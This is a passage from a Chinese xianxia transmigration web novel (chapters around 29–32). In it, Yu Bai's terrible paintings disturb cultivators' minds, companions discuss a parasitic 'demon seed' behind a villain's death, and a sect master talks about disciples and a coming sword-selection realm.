江厌星打断了她,大马金刀走过去站在齐昭前面,凶神恶煞的像是谁欠了他百八十万似的。 余白觉得莫名,怎么有人突破了还不开心的? 不过能画就行,她不要求什么表情管理。 余白下笔如有神,刷刷刷就画好了。 雪明霜见识过余白画的威力,全程站在一旁没有多看一眼。 江厌星见她画好了,刚想说给他看看,便见余白屁颠屁颠越过他跑到了齐昭那边,开心的把画递给他看。 “师兄你看看有没有哪里需要修改。” 江厌星难以置信看向余白,她竟然给齐昭看画,还让他提意见? 余白对自己的画有一种迷之自信,偏偏她审美有问题也就算了,她身边全是无脑溺爱她的人,比如那个何毓秀。 总是听到何毓秀一通彩虹屁不带重样的夸她。 “宝宝你画的真好,这副画好有感觉,像梵高的星空。啊你说你画的是摩天轮,哦哦一样的一样的,都很浪漫。” “有人说你画的辣眼睛?别听,他嫉妒你的菜花。你的作品是有审美门槛的,你以后别给那些不明白你的艺术的人看了,给我看,我是你的好闺闺,我懂你。” 余白听进去了,之后就只给何毓秀看,每次何毓秀的反应都很夸张,让江厌星十分好奇,也提出想要鉴赏下她的大作。 余白犹豫了下还是拿给他看了。 在看到那幅画的第一眼江厌星沉默了,何毓秀这家伙到底是对余白有多厚的滤镜才能做到睁眼说瞎话到那种地步的? 偏偏又是他主动要看的,在余白亮晶晶,饱含期待的眼神下,江厌星说不出什么难听的话。 “挺特别的。” 他说的委婉,可有点情商的都听得出来他这话不是贬也不可能是夸赞的意思。 然而余白不属于有情商的那类,大约是除了家里人和何毓秀,自己是唯一给她这样温和到可以算是赞美的评价的人,余白把他当成了继何毓秀外另一个知己。 正因为她不轻易给人看画,江厌星才会在她把画拿给齐昭的时候反应那么大。 江厌星本就臭的脸更臭了,死死盯着余白,眼神带着他都觉察不到的怨念和委屈。 余白全然没注意到对方的死亡视线,苍蝇搓手等待着这个世界唯一的知己的评价。 齐昭目光专注地盯着余白的画,眉头因为深思而微皱,一改温润的模样,看着十分严肃。 这一次鉴赏比以往任何一次都要长,这让余白也跟着紧张了起来。 半晌,齐昭眉头慢慢舒展,回以少女一个欣慰和鼓励的微笑。 “几日不见,师妹画技又精进了。” 余白眼睛骤亮,激动的声音都拔高了。 “师兄你看出来了!” 她把积分全加画技上了,不进步就怪了?可是那点积分聊胜于无,她都没发觉前后有什么变化,没想到齐昭一眼就看出来了。 呜呜,不愧是我的知己! 余白感动得都要掉小珍珠了。 江厌星要气死了。 什么画技精进?简直胡说八道。余白的画精进不精进有区别吗,不都没眼看吗? 而且余白也是个蠢的,对方一句进步了她就感动得七荤八素,找不到北了,他明显就是在糊弄她! 江厌星笃定齐昭和他当时一样,就是出于体面的善意的谎言,不是真的欣赏余白的画作。 当初他也是因为夸了她画个特别才慢慢和她交好,成为朋友的,齐昭能让余白这么特殊对待十有八九也是因为如此。 哈,这个齐昭连获取她好感的方式都是从他这里照搬的,余白还把他当齐昭的替代品,到底谁才是谁的替身啊。 江厌星刚噼里啪啦在心里一通批判完,齐昭话锋一转。 “不过师妹你的这两处运笔还是有些急躁,如果慢一点画的更细致一些可能会更好。” 紧接着他又仔细夸了其他余白画的好有进步的地方,给江厌星听得一愣一愣的。 不是,你真欣赏啊? 江厌星眯着眼睛观察了许久,发现齐昭神情真诚,言之有物,不像胡编乱造的样子,他惊了。 瞎子年年有,今年尤其是。 一个何毓秀也就算了,怎么又来一个? 30 第三十章 余白前脚被齐昭一通夸赞,后脚又被江厌星一连串的彩虹屁给夸得头晕目眩。 朋友易得,知己难觅。 在这个陌生的世界齐昭一人懂她就很难得了,不曾想还有一人也懂她。 尤其这个知己还是她的灵感缪斯,余白感动得眼眶红红,真的要掉小珍珠了。 “呜呜小白师弟你真好,说的都是我爱听的,来,吃颗十全大补丸,这后面还有好几幅呢,别着急,休息下再继续看。你有什么见解我都会洗耳恭听的。” 雪明霜:“……” 还看?再看要出人命了。 她神色复杂地看向脸色苍白的江厌星,对方在天雷之下都能活蹦乱跳,如今却成了这副样子,可见刚才的画对他的精神冲击不可谓不大。 余白的画之所以能被挂在宗门辟邪,甚至还被加入到继七情铃,明心湖的第三个入门心境的测试中是原因的。 除了丑,她的画有一个很神奇的特点,那就是遇弱则强遇强也强。 不过这个强也有不同,对于修为低的余白的画很容易乱其道心,会牵引出对方内心深处最害怕的东西,比心魔阵更有效却又不会造成太大的伤害,很适合作为入门考核的测试。 而要是像江厌星这样修为比较高的,他们的道心一般稳固不那么容易撼动,可也因此会对其有所松懈,等到反应过来的时候神识则被影响了,也就很容易出现走火入魔的征兆。 雪明霜不觉得少年是因为毫无防备才着了道,她和少年虽认识时间很短,但以对方在面对司徒乾时候的走一步算十步的各种谋算来看,他不可能没有在第一时间发现余白画的不对劲。 为什么他在发现蹊跷后还坚持一口气看了这么多没有停下,只有一个原因…… 江师弟看来是真的喜欢上了小师妹了。 古有周幽王烽火戏诸侯博美人一笑,今有少年睁眼装瞎博小师妹欢心。 真是少年人,一腔赤诚。 雪明霜丝毫没有怀疑江厌星接近余白是不是对她有所图谋,毕竟她背后有余秋离这么尊大佛。 拜托,小师妹那么善良那么可爱,喜欢上她简直比呼吸还要简单。 不过…… 虽然江师弟天赋什么都不错,但要与小师妹相配还是有点不够看。 别的身世之类的且不论,单就是这张脸。 雪明霜看着少年这张毫无记忆点的脸,又看向一旁的齐昭。 她发现无论是平平无奇的江厌星,还是芝兰玉树的齐昭,站在余白身边都让她觉得碍眼。 好吧,或许不是脸的问题,是她有私心,小师妹那么好,为什么非要找个男人相配呢? 江厌星缓了好一会儿才没那么晕了。 随即涌上来的是心有余悸。 好可怕,以前只是辣眼睛的物理伤害,怎么现在还带魔法穿透的精神攻击了? “小白师弟你休息好了吗?” 余白眨巴眨巴大眼睛,抱着画本一脸期待。 江厌星喉结滚了滚,声音都有些抖:“……今天先到这里吧,这么好的画作我舍不得全看完,想留着慢慢看。可以吗?” “啊?可,可以,当然可以啦。” 余白先前是感动得要掉小珍珠了,现在是幸福得冒泡了。 “小白师弟,没想到你的审美这么好,要知道之前整个宗门只有齐师兄能看懂我的画中真意,现在又多了个你!当初我邀请你加入宗门的决定真是太正确了,不然我就要少一个男颜知己了!” 尽管折腾得够呛,好歹知己的位置保住了。 江厌星松了口气,余光瞥见雪明霜一言难尽的表情后才后知后觉感到羞恼。 他也不想那么胡说八道的,可是余白那个傻白甜都要被齐昭给迷的晕头转向了。 这就跟那些霸总小说一样,霸总对小白花女主说:“女人你好特别,你好不一样,从没人敢这么对我,你成功引起了我的注意力。” 换在余白这里,在没人欣赏她的画作时候冒出来一个男人,对她的画大肆称赞,她也会生出“哇,他好不一样,好特别,他和别的男人不一样,他真的懂我”的想法,误以为对方是自己的灵魂伴侣,从而喜欢上他。 这绝不是江厌星的胡思乱想,这是绝对有可能发生了,尤其是齐昭身为男主,他是主角光环的。 江厌星这么做是为了给余白祛媚,让她知道懂她的不止齐昭,还有别人。 这样齐昭在她眼中就不会显得那么特殊,不可取代了。 再说她一个原文查无此人的路人甲要是喜欢上了齐昭,先不说压根就不可能上位女主,但他那些乱七八糟的后宫就得把她欺负得渣都不剩。 没错,就是这样。 他这是为余白好,让她及时止损。 江厌星心里那种莫名烦躁不安的情绪,在他这一通有理有据的逻辑下慢慢平息。 他微抬着下颌,再次恢复了他平时拽天拽地的样子。 余白把画偷偷上传,这次得到的积分不多,只有一点,评级也只是一般,但毕竟不是主系统规定的重要打卡名场面,有就很不错了,她知足。 现在她还差九点积分就能解锁隐藏技能了。 正在余白盘算着怎么去在不发布任务的情况下赚取积分的时候,齐昭拿出了一张传讯符。 “你们看看这个。” 他说着“你们”,看向的却是江厌星。 江厌星眉心一跳,直觉这传讯符的内容十有八九和自己有关。 他走上前,指尖凝上灵力点在符上。 一行金色小字浮现,不到三息便散去,可在场所有人都看得分明。 那上面写着——凤梧境,逢魔出。 江厌星拧眉:“什么意思?” 余白和雪明霜也一头雾水,当时他们也在秘境,没遇到什么魔啊。 而且凤梧境和其他秘境不同,因是由佛修神魂幻化而成,这里谁都可以入境,唯独难以生魔,且就算真进了魔修会第一时间被百境堂的捕魔幡捕捉。 因此真有魔的话他们不可能毫无觉察。 齐昭将传讯符放在香炉里燃尽,丝丝缕缕的烟雾从镂空的莲花纹中飘出,歪歪曲曲散开。 “普通的魔物自然很难在百境堂的眼皮子底下出现不被发现,只是这个魔物有所不同。” 他顿了顿,问道:“雪师姐,余师妹,你们还记得当时百境堂的那个道友说的话吗?” 雪明霜道:“你是说四方灵门被破坏的事情?那不是江师弟渡劫时天雷所破的吗?” “本来我也是这样认为的,但在我们离开秘境后灵禅宗那边的佛修循着魔气赶来,发现了魔修的痕迹……” 齐昭改口,纠正道:“不,应该说是魔种。” 魔种又是什么? 余白迷迷糊糊的,原文里有提到这个吗? 同样的,常年在梅山修行,鲜少和外界接触的雪明霜也不清楚魔种是何物。 只有江厌星在听到齐昭的话后变了脸色。 最开始齐昭把传讯符给江厌星看而不是直接给余白她们,就是觉得少年在秘境待的时间更久,加上他在没入宗门前是散修,四海云游,见识的 也比他们这些仙门弟子要更多些,没准他或许见过或者知道些什么。 果不其然,看他这反应对魔种似乎并不陌生。 “江师弟知道魔种?” 余白和雪明霜听后也好奇看向少年。 若是他没有拜入天极宗可能就含糊回一句听说过但不了解就敷衍过去了…… 江厌星沉默了瞬,说道:“嗯,我三年前和它打过交道。” 魔修分为两种,一种是后天堕落入魔之人,另一种是生而为魔者,魔种便是后者。 江厌星的气运太差了,一路上遇到的什么妖魔鬼怪都有,所以即使魔种有点特别,在他看来也就是倒霉和更倒霉的区别而已。 不过论起棘手程度,那魔种比司徒乾要难搞多了。 不是修为有多高,是它太擅长伪装了。 江厌星组织了下语言,道:“我最初遇到它的时候它是一个瘦骨嶙峋的小乞儿,跪在街上要卖身葬夫。我看她可怜便帮她父亲埋了,又给了她一袋子钱,结果她就缠上我了。我就想着给她找个好人家再离开。” 说到这里他睫羽垂下,掩藏了眸子里暗涌的情绪。 “也是我一时心软,差点害了那户人家。” 魔种与其说擅长伪装,实际它们伪装的本质是寄生。它们可以悄无声息寄生在任何活物上,无论是凡人还是修士,那个魔种的所谓父亲便是它上一个寄生的身体,在把他血肉蚕食干净后又寄生在了小乞儿身上。 凡人的身体再如何也没有修士好,于是它''把主意打到了江厌星身上。 原本魔种打算待在他身边寻找下手的机会,只是它''没想到的是江厌星的气运那么差,隔三差五不是被人寄觊觎追杀就是被迫各种乱七八糟的麻烦里,他自己倒霉就算了,连带着魔种也差点被他牵连,死在仇家手中。 一个月后它实在受不了,放弃了寄生江厌星,在他帮它找好收养的人家后便没有再缠着他了。 “我把它安置好了便离开了,只是临走前我不大放心,在它身上留下来一缕神识,一旦它有危险我就能感应到及时赶回去。在我刚走的第二天晚上,我感知不到它的气息了。” 一般感知不到气息只有一种情况,就是身死。 江厌星以为它遭遇了什么危险,御剑连夜赶了回去,结果看到了它脱离小乞儿的身体,要去寄生那对夫妻。 他那时候才发现对方是魔。 也幸好他回来的及时,将那个魔种斩杀了,不然若是他沾染了上了这么一桩人命因果,这辈子都要被种下不灭心魔了。 江厌星提起这桩事如今都隐隐觉得后怕,他捏着鼻梁,声线也沉。 “后头我遇到了一个蓬莱宗游历的修士,从他那里得知那不是普通的魔修,而是魔种。” 整个事情停下来不光是当事人江厌星,在场的人代入进去也觉得脊背发凉。 自古以来正邪不两立,魔修一直都聚集在穹顶之下的九幽玄冥,那里是世间魔气最浓郁的地方,修士很难在那里存活,同样的他们也很难长时间在灵力充盈的仙门仙山久留。 万物相生相克,譬如阴阳,譬如天地,水火,也譬如仙魔。 数万年前混沌初开,气息并没有分得那么复杂,它只分为两者——清气和浊气。 清气上升为天,浊气下沉为地。 前者孕育了滋养万物,供修士修炼的灵气,后者则诞生了摧毁生灵,至混至煞的魔气。 本身两者是互相克制,此消彼长的状态,尤其是在五百年前的仙魔大战后天魔陨落,魔族战败后就再也没有什么魔族敢踏入上仙门,也就是五大宗的境地了。 别看这个魔种看上去很弱,就连当时不过筑基修为的江厌星也能轻易斩杀,但如果它寄生的是修者,潜入了宗门,那后果是不堪设想的。 而且这样的魔种有可能还有很多,只是都伪装在四处没有被修士发现罢了。 余白此时再得知己的喜悦也没了,剩下的全是担忧与焦虑。 作为穿书者她最怕的就是这种原文没有的或者有出入的剧情了,要是她也和齐昭和江小白一样资质出众还好些,偏偏她是个废物点心,灵宝多是多很多她又修为不够没法用,真要出什么事来那真是凶多吉少。 系统在和她绑定的第一天就告诉过她,这里虽然是书中世界,可命就只有一条,死了后真的死了,哪怕任务完成了也没办法回家,所以本就怕死的余白变得更加惜命。 如今好不容易任务在有了江小白这个代餐后有了不小的起色,她可不想出任何的意外。 余白抱着点侥幸问道:“师兄,有没有可能是灵禅宗他们搞错了,可能就是普通魔修?毕竟小白师弟不是说了吗,魔种擅长伪装,不可能那么轻易暴露魔气。” 魔修虽然也不是什么好东西,但是总比那种悄无声息潜入在你身边的魔种强。 齐昭回以了余白一个安抚的表情,可说出的话却让人头皮发麻。 “司徒乾就是魔种。” 余白瞳孔一缩,脑子嗡嗡的没反应过来。 雪明霜也很震惊,一时之间她们都被这个消息给轰炸得说不出话。 司徒乾是魔种? 齐昭在得知这个消息的时候的惊讶不比她们少。 “灵禅宗的佛修说他们在司徒乾的体内发现了魔气残留,很微弱,若非用佛宝感知几乎可以忽略不计。加上当时天雷将一切痕迹和气息都湮灭了,更多的他们也不得而知了。” 余白道:“可是修士体内有魔气也可能是走火入魔了啊,怎么就这么草率下了定论?” “因为比起走火入魔,被魔族戕害才更能保有世家的体面。” 齐昭的言下之意是这是司徒家那边默认的。 司徒乾即使是分家也是司徒家的人,司徒家为修真大族,底蕴深厚,世代以除魔卫道为己任,若族中之人走火入魔实在是狠狠打他们的脸。 而且司徒乾还是分家家主之子,更是难以忍受的丑闻。 这还只是表面原因,若继续追查下去,司徒乾夺人根骨的事情也会暴露无遗,背后给他出谋划策的长老,纵容他的长辈,都得拽出萝卜带出泥,被他牵连到名声扫地。 于是他们对外宣称司徒乾是被魔种不慎寄生,且为了不让对方得逞,选择了以身献祭引天雷,与其同归于尽。 而灵禅宗那边大约也是没有想到司徒乾是自身心术不正,生了魔障,加上司徒家对外口碑一向很好,也就信了这番说辞。 余白简直要被气笑了:“什么以身献祭同归于尽?司徒家的还真会睁眼说瞎话,一个觊觎人根骨的坏种,死后竟然有这么好的名声?我呸!臭不要脸!” 齐昭也觉得十分讽刺。 江厌星看着少女气得跺脚的样子,说道:“别气了,往好处想他的死要么是走火入魔,要么是魔种戕害,总之怀疑不到咱们头上了不是?” “怀疑就怀疑呗!谁怕他?!” 他摊手:“我怕啊,大小姐,我可没你那么背景雄厚。万一被他们知道我是杀死司徒乾的凶手,他们肯定会把我挫骨扬灰的。” “你怕什么?谁说你没背景,你不还有我吗,我就是你的背景。” 江厌星心下一动,突然觉得少女的眼睛亮的有点无法直视。 余白如今是彻底把少年当自己人了,拍着胸脯保证的同时,又说道:“不光是我,齐师兄雪师姐,还有整个天极宗都会给你撑腰的,你不要总是觉得自己是一个人,颠沛流离的日子过去了,现在宗门就是你的家。” 原本还因为少女的话有所触动的江厌星听到后面后神情一下子沉了下来。 “这不是我家。” 31 第三十一章 “什么?!” 玄霄离得近,被齐昭这么一嗓子吼得耳朵疼。 “啧,你小子小点声,要把你师尊耳朵震聋吗?” 齐昭意识到自己的失态,忙道了声抱歉,然后惊疑不定问道:“师尊你可是在拿我寻开心?别的事你随意玩笑便罢了,这种事你怎可拿来乱说?” 玄霄如今八百有余,在修真界属于泰斗级别的大能,可性子却是十足的老顽童。 这不光和他本性有关,也与他所修之道有关。 玄霄修道法自然的逍遥道,心境在入道那一刻便定了,少年心性,随心所欲,即使当了好几百年的宗主,骨子里依旧带着点年轻人的顽劣叛逆。 和齐昭站在一起,不像师徒,反而更像同门,且齐昭还是师兄的那种。 齐昭深知自家师尊的性子,他捉弄人的时候什么胡话都说,因此这回也有可能是他在寻他开心。 玄霄冷哼一声:“我是有点不着调,但还不至于拿这种事情开玩笑。你入门尚短,先前又不在昆仑,对谢斩这尊杀神知之甚少,宗门的人也畏他惧他,鲜少敢背后非议他的事情,你不知道他克徒也正常。算了,既聊到这儿了,再多提几句也不妨。” 他喝了口茶润了润嗓子,接着道:“谢斩和那个江姓小子有点像,命中带煞,只是后者还是个天缺,不被天道眷顾,但谢斩却是实实在在的天道宠儿。” 天极宗的天命者少是因为只算年轻一代的天命者,若往上把那些老东西算上,天极宗就算越不到玉京头上,也至少能排个前三。 其中天极宗又以余秋离的剑,谢斩的刀和玄霄的阵,三绝闻名修真。 前两者刀剑双修,玄霄则修剑与法。普通修者将一道修到极致已是极限,他们却都修到了至臻之境,是真正得天命眷顾之人。 而谢斩尤其。 “我说他们像还有一点,他们都是凡人出身。谢斩出身尊贵,是古南诏国的皇子。他出生时伴有异象,紫气东来,金龙在天,这说明他的命数中既有仙缘也有帝命,可见天道偏爱。” 齐昭不是没见过大气运者,他自身就是其一,但同时有两般命数,还都如此登峰造极者实乃罕见。 不过既然谢斩如今在天极宗,那他选择的道路便显而易见了。 “的确显而易见,但过程可没那么轻松。” 玄霄声音放沉,收敛了先前随意的态度:“人有命数,国亦有自身的国运。谢斩虽有帝命,但古南诏国运已尽。天下分久必合,合久必分,如同道法自然,谢斩却想要逆天而行,续上古南诏的国运。” “干涉一人因果尚有回旋的余地,干涉一国的命运无异于自取灭亡。谢斩用了什么办法给古南诏续国运我不知道,只知道天道震怒,伏尸千里,谢斩守在覆灭的故国的尸山火海里七七四十九天,以杀入道,自此才彻底断了尘缘。” 他唏嘘道:“而逆天而行的代价便是命中带煞,这便是他克徒的原因。” 齐昭盯着桌上那杯饮尽的茶盏,缓了会儿上前给玄霄续上,沉声道:“我不觉得谢前辈做错了什么,如果换作是我我也会那么做。” 玄霄瞪道:“怎么?你也想成为煞星不成?” 齐昭不想惹玄霄生气,却也不想说些违心认错的话,便跳过了这个问题,语气反对道:“师尊既然知道谢前辈克徒,为何还要让江师弟去拜他为师?江师弟本是天缺,命途多舛,拜入谢前辈门下只会雪上加霜。” “你以为谢斩克徒,江小白就旺师了吗?我就是因为他们都命中带煞,我才把他们放在一起互相霍霍。况且万物此消彼长,气运差到了极点就否极泰来也说不准。” 玄霄嘴上胡说八道一通歪理,可仔细想来似乎也的确如此。 齐昭被怼得哑口无言,半晌,又道:“那司徒苍你又为何让他拜谢前辈为师?” “因为他有天眼啊。” 司徒苍能“看到”危险,提前进行规避,谢斩再克他也克不到哪儿去。 玄霄没好气地瞪了少年一眼,一天天的尽关心外人,也不关心关心他这个师尊最近研究了什么新法阵,主动提一下帮他当小白鼠检验下之类的,真是胳膊肘往外拐。 “余……” “咳咳,不是,这又关余白那个小祖宗什么事?” 齐昭给他顺背,斟酌道:“余师妹没怎么,我是说余剑尊。余剑尊不是也一直没收徒吗,江师弟天赋异禀,虽是天缺可有余剑尊这样的大气运者压制,比起谢前辈,我觉得他或许更适合拜入余剑尊门下。” 江厌星的恩情他在秘境与他共进退诛杀司徒乾的时候就还了,他现在为少年争取这些仅出于对方成了他的师弟,又是他引荐的,他得负责。 玄霄摆了摆手,露出比提到谢斩时候还要一言难尽的表情。 “别想了,谢斩收徒主要看谁命大,天赋什么的只要过得去的都不挑,余秋离那老小子不同,他不光看天赋,看出身,更看脸。你没准还有机会,江小白绝无可能。” 天赋和出身也就算了,怎么还看脸?又不是合欢宗…… 不不不,怎么能拿余前辈和合欢宗的修者比呢,太失礼了。 齐昭赶紧把脑子里冒出来的那个大逆不道的想法甩掉,同时问出了自己的疑惑。 玄霄一言难尽道:“光是挑徒弟的话没必要看脸,但他还存了给他那小辈挑道侣的心思。他如今已是近天人合一境修为,日后要么坐化要么飞升,无论何种他都无法弥留,他孑然一身,唯一放心不下的就是他那个宝贝疙瘩,他仇敌多,得收个能护得住余白的又要让余白满意的。本来他一开始属意你的……” 齐昭脸一下子红了:“余剑尊抬爱了,只是我,我对余师妹并无……” 后面几个字烫嘴,他嗫嚅着说不出。 “这用不着你说,余秋离掐算过,你和余白没什么道缘,所以你才落到我手上了。” 玄霄“啧”了声,嘟囔了句:“怎么说的我跟捡破烂的似的。” 齐.破烂.昭:“……” 见自家师尊自己把自己说emo了,他叹了口气,哭笑不得道:“师尊,此言差矣,就算余剑尊真的青睐于我要收我为徒,传我衣钵,我也不会答应的。诚然,作为剑修没人不仰慕天下第一剑的风采,但我不想成为第二个余秋离。” “而师尊的道法自然也契合我的剑道,我仰慕剑尊,更敬重师尊,不然我也不会不远千里从瀛洲来求道。” 这不是齐昭安慰玄霄的漂亮话,而是出自本心。 修真界有两剑双秋,分别指昆仑的余秋离,以及瀛洲的齐春秋。 两个年岁相当,修为相当,不仅修的都是剑,连名字里都有一个秋字,这两剑双秋便因此而来。 虽然和余秋离相比,齐春秋的剑要略逊一筹,可若是齐昭真心只以剑为目标,那压根就不需要大老远从瀛洲跑到天极宗。 剑只是修行的工具,他修道亦修心,真正能给予他道途心境之上指点的,唯有玄霄。 与其说是玄霄选择了齐昭,不若说是齐昭从一开始就决定拜他为师。 从不存在什么余秋离放弃了他,他才退而求其次一说。 玄霄也就是随口一说,没想到齐昭那么认真,尴尬道:“你那么当真做什么,玩笑话而已。再说齐春秋八百多岁才铁树开花有了你这么个老来子,他能放你走可见你道心之坚定,我怀疑谁也不可能怀疑你啊。” 师徒俩这么商业互捧了一番后对视了一眼,彼此都在对方眼里看到了忍俊不禁。 “好了,别说这些肉麻的话了,两大老爷们也不嫌恶心。” 玄霄示意齐昭坐下,“过来,我再给你检查下。” 齐昭坐过去,任由玄霄给他检查身体。 浑厚的灵力流经他全身,最后凝在了他的心脉,几息过后,玄霄撤回灵力。 “嗯,恢复的还成,再过几日就可以正常修炼了。不过你突破的到底勉强,是用丹药推上去的,之后去长白峰找秦菡萏给你配点灵药稳固下灵力和修为。” 玄霄把该叮嘱的叮嘱完后,目光落在了不远处紫檀木剑架上的那把雪色灵剑上。 灵剑名霁月,是一把上品灵剑,是玄霄送给齐昭的拜师礼。 剑是好剑,但少年修行神速,再用就拖后腿了。 “过段时间天墟就要开了,你也该去取本命剑了。” 玄霄道:“天墟本十年一开,只是上一次的时候有人碰了不该碰的东西,导致天墟被多封了十年才归于平静。所以这次进入天墟择器的弟子只多不少,普通的弟子你不用管,重点提防和你同样的别宗的天命者,尤其是剑修,他们不出意外目标大概也是那把神兵。” 齐昭没有立刻给予回应,沉默了一会儿,道:“必须是那把神兵吗?” 在他看来神兵也好,木剑也罢,只要出自他本心所择,便是他的本命法器。 因此他并不喜欢这样带有功利心的择选。 玄霄一改往日好说话的模样,眉眼冷凝:“齐昭,道法自然不意味着真的随心随欲,你得到了什么就必须要承担什么,天道的偏爱既是眷顾也是枷锁。” “你既是天命之人,便该配天命之剑。” 32 第三十二章 从云梦居回去的时候余白是自己踩着仙鹤回去的,万籁峰和青云峰并不顺路,但是江厌星全程都跟在她后面。 余白想把他甩开,奈何仙鹤速度有限,她还在它身上贴了极速符也没甩掉身后的那条烦人的尾巴。 好在他没靠太近,和她保持不远不近的距离,不然余白肯定会忍不住朝他发脾气让他走开的。 到了青云峰,余白如蒙大赦,下了迈巴赫脚底抹油拔腿就跑。 少年凌空站在剑上,隔着云雾看了很久,然后才转身离开。 【系统系统,他走了没?】 【刚走。】 系统听到余白猛地松了一口气,脚步也放缓了。 它感到不解:【你躲他干什么?怕他把霉运传给你?】 “不是。” 这时候周围也没人,余白便没有跟他继续脑内交流了。 她撑着膝盖喘了会儿,气息匀好后才道:“你之前没听到他说什么吗?他要回家,也就是说他没把天极宗当他的归属。” 系统更迷惑了:【跟这个有什么关系?】 “当然有啊!” 余白有些激动:“这意味着他迟早会离开呀,我和他本身就挺一见如故的,这才多久我就把他当朋友了,之后继续这么相处下去还得了?我会舍不得他的!不光是他,还有齐昭,雪明霜,肖扶山,老祖宗……我都很舍不得。” 声音越到后面越小,甚至还哽咽了。 她之所以对这件事反应那么大是因为以前一直被她忽略的离别,如今被少年赤/裸粗暴地扯开,逼迫着她不得不去面对。 天极宗不仅不是江小白的家,也不是她的家,江小白会离开,她也会有离开的一天。 余白与其说是在生气少年都已经拜入天极宗了还一心想着回去,不如说是在生气他叫醒了沉浸在没有离别的美梦中的自己。 她应该从始至终都把他们当纸片人的,不该这样放任自己沉浸在这些会迟早会断掉的羁绊里,徒增烦恼和苦痛。 “啪”。 余白用力拍了下脸,努力绷出一副严肃冷酷的表情,说道:“我决定了,从今天开始,我要做一个莫得感情的杀手!” 系统:【?】 系统只是个系统,理解不了人类奇奇怪怪的脑回路,也明白不了余白为什么上一秒人还好好的,下一秒怎么就要当杀手了。 它不耻下问,得到的却是余白的嘲讽——你个人机,说了也不会懂。 系统差点儿气短路。 看不起谁啊,以为它真什么都不懂似的,说来说去不就是表达了思乡之情吗? 余白下定决心要和这些纸片人保持距离的第一天晚上她就失眠了,下半夜好不容易睡着了,又做了噩梦。 她梦到她终于走完剧情,打卡完所有名场面要回家了,时空之门打开的时候以江小白和老祖宗为首的一众人都赶来了。 老祖宗痛心疾首质问她为什么要抛下他这个孤家寡人离开,是他给的灵石不够花吗。 江小白红着眼眶控诉她出尔反尔,说好了要罩着他,做他的靠山,结果她拔吊无情。 还有齐昭,雪明霜…… 她逃,他们追,她插翅难飞。 余白在梦里使劲儿跑,明明时空之门就在眼前,她却怎么也钻不进去。 眼看着他们马上要追上她了,她急得哇哇大哭。 在门快要闭合的时候,一只骨节分明的手撕扯开时空缝隙。 “傻瓜,怎么被纸片人都能欺负成这样?快过来!” “哇呜呜,江厌星!” “宝,别哭,你的强来了!我们来接你回家了!” 少年后面的何毓秀也把手伸了过来。 “宝!” “秀儿!” 在余白抓住他们的手,马上就要回家的时候,梦醒了。 天亮了。 余白两眼发神盯着外面鱼肚白的天空,然后抹了一把脸,慢慢从床上爬了起来。 这还是她头一次在鸣人来叫她之前自己先醒了。 她顶着一双熊猫眼去照镜子,镜子里的少女脸色憔悴,一看就没休息好。 余白熟练的从梳妆台上面拿了丹药往嘴里倒,这是她之前晨练起不来又怕被鸣人啄,找沈宿眠给她炼制的提神醒脑丸,有驱散睡意,补充精神的作用。 以往都是吃一颗就攒劲了,今天她一口气吃了三颗才缓过来。 身体不累了,心还累着。 余白也不知道自己是想回家还是不想回家了,怎么会做那种左右脑互搏的梦。 因为精神不振,出门的时候连头发绑歪了都没发现。 余白怕碰上江小白,于是早早就来到了练剑台。 正想找个能够隐蔽身形的地方,迎面撞上了云茯苓。 “云师姐早。” 她匆匆打了招呼后,就想绕过云茯苓。 后者伸出脚拦住了她的去路。 “师姐?” “那边是我修炼的地方。” 练剑台的位置先来先得,云茯苓最近因为瓶颈,每日基本都会提前来这里占据灵力最盛视野最好的风水宝地以便她凝聚灵力,酝酿手感,画出满意的符来。 先前她心软让余白在她旁边一块儿修炼,结果反而被她的画给带歪了。 自此云茯苓就坚决不允许余白和她在一起修炼了。 被嫌弃的余白瘪了瘪嘴,往另一边去了。 这一幕被不远处的柳韫尽收眼底,不过这回他虽不忍心,却也什么也没说。 云茯苓回到了自己的位置,吸气吐纳,凝神提笔,酝酿得差不多了才落笔。 一连画了两次都不满意,在活动手腕打算再画一次的时候,余白去而复返。 她捏着衣角,扭扭捏捏问道:“云师姐,我可不可以就在你这边晨练啊,你放心,我保证不会打扰你修炼的。” 云茯苓板着脸:“这么大地方不够你修炼的,非赖上我了是吧?” “不是,我没想赖着你,主要是他们也不让我过去……” “不让你过去?” 云茯苓对此全然不信,余白这个散财童子,加上又是余秋离的后人,整个宗门除了把她当克星的司徒苍,谁会不待见她? 余白解释道:“以前是以前,可今时不同往日。我昨天不是和风琅玉起了冲突吗,最后我为了不让她和江小白同门之间自相残杀,紧要关头挺身而出,力挽狂澜,使出了我惊天地泣鬼神的高超画技屏退……” “打住,别说那么多废话,直接说原因。” 余白砸吧嘴,闷闷道:“他们看了我的画后也怕我影响他们修行,对我敬而远之了。” 她有些伤心,更多的是委屈。 先不论他们欣赏不了她的画这件事,这她可以理解,人的审美具有主观性。 余白感到委屈的是自己明明做了好事,阻止了宗门惨案,怎么他们只看到了她的画的威力,没看到她做好事这一面呢。 云茯苓很想共情余白,可她共情不了。 因为她也曾是受害者。 修者最看重的就是修为,也就齐昭那个审美奇葩的能不被余白影响了,其他的弟子,尤其是修为尚浅的,谁敢拿自己的道途来赌? 云茯苓看着少女可怜巴巴的样子,又想着她刚重伤痊愈,还是心软松了口。 “好吧,你想跟我一块儿也行,不过你不能靠近我五步以内,也不能发出杂音打扰我修行,不然我就把你给扔山下去。” 余白点头如捣蒜:“嗯嗯,我会做到的。” 那边的柳韫从少女再次出现后便神经紧绷,本以为自家师妹会和以往那样不假辞色把人给打发走,结果她却把人给领回来了。 “柳师兄。” 余白才看到青年,弯着眼睛开心走过去跟人打招呼。 柳韫如临大敌,捏着灵笔忍耐着才没往后避开。 自上次少女给他大展身手后,他修为高倒是没怎么被影响,可那幅画十分有魔性,看一遍就跟刻在脑子里一样怎么也忘不了。 之后好几天他看到太阳就会想起余白的那副日出天极宗的画,然后便会出现短暂的头晕眼花的情况,吃了几颗清心丹才缓解。 怪不得自家天不怕地不怕的师妹会独独对余白避之不及,这画的威力的确不容小觑。 “哈哈,余师妹,怎么今天来这么早?来来来,到我这边来,我这视野好,适合你画日出。” 余白语气雀跃:“好啊,我给你说柳师兄,我最近画技进步不少,我一会儿画好你再帮我指点下……?柳师兄,你离我那么远做什么?” 柳韫慌忙退到云茯苓后面,解释道:“指点就不用了,师妹你画技举世无双,我哪敢在关公面前耍大刀?况且画、符不同源,我乱指点很容易出岔子的。哦,对了,你问我为什么离你那么远,我是怕挡住风景,你不好作画。” 他一口气说完不带喘口气的,听得余白一愣一愣的。 但归根结底都是为她着想,她心情好了不少。 